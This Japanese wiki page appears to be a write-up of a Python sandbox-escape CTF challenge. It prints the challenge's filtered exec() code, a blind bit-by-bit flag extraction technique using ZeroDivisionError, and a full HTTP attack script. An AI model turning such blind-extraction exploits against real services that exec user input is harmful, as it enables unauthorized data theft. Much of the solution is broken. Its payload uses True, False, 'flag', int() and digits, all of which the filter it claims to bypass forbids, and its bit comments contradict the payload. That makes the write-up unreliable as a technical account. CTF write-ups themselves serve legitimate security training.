pyjail wiki

AmateursCTF 2025 - Censorship Series

Challenge

フラグを1ビットずつ抽出する pyjail。

import re
code = input()
# 禁止: 数字、l, i, t, e, バックスラッシュ
if re.search(r'[0-9lite\\]', code):
print("Censored!")
exit()
exec(code)

Solution

ZeroDivisionError による条件分岐

例外の有無で1ビットの情報を漏洩:

# flag[n] の m ビット目が 1 なら ZeroDivisionError
# 0 なら正常終了
a = ord(flag[pos]) >> bit_pos & 1
result = 1 / a # a=0 なら ZeroDivisionError

文字制限のバイパス

数字が使えないため、boolean 値と演算で数値を生成:

# True = 1, False = 0
# (True + True) = 2
pos = (True + True + True) # 3

globals() でフラグにアクセス

# 'e' が禁止されているが、globals() は使える
# ただし 'globals' に 'l' が含まれる...
# vars() を代わりに使用
vars() # globals() と同等

完全な攻撃スクリプト

import requests
flag = ""
for char_idx in range(50):
char_val = 0
for bit_idx in range(7):
# ペイロードを構築
payload = f"vars()['flag'][{char_idx}] >> {bit_idx} & True or True / False"
try:
r = requests.post(url, data={'code': payload})
if 'ZeroDivisionError' in r.text:
char_val |= (1 << bit_idx)
except:
pass
flag += chr(char_val)
print(flag)

Technical Details

Boolean ベースの blind 抽出

# ビット抽出
(ord(char) >> n) & 1
# 条件分岐を例外に変換
1 / ((ord(char) >> n) & 1)
# ビットが 0 なら ZeroDivisionError
# ビットが 1 なら正常 (1/1 = 1)

文字列フォーマットによる数値生成

# '%d' % True = '1'
# '%d' % False = '0'
# さらに int() で数値化

vars() vs globals()

# 両方とも現在の名前空間の辞書を返す
vars() # 'l', 'i', 't', 'e' を含まない
globals() # 'l' を含む (禁止)

Alternative Solutions

別解1: 応答時間による漏洩

# 条件により sleep を使用
# タイミングで判定

別解2: ファイル書き込み

# /tmp に結果を書き込み
# 別のリクエストで読み取り

Flag

amateursCTF{...}

References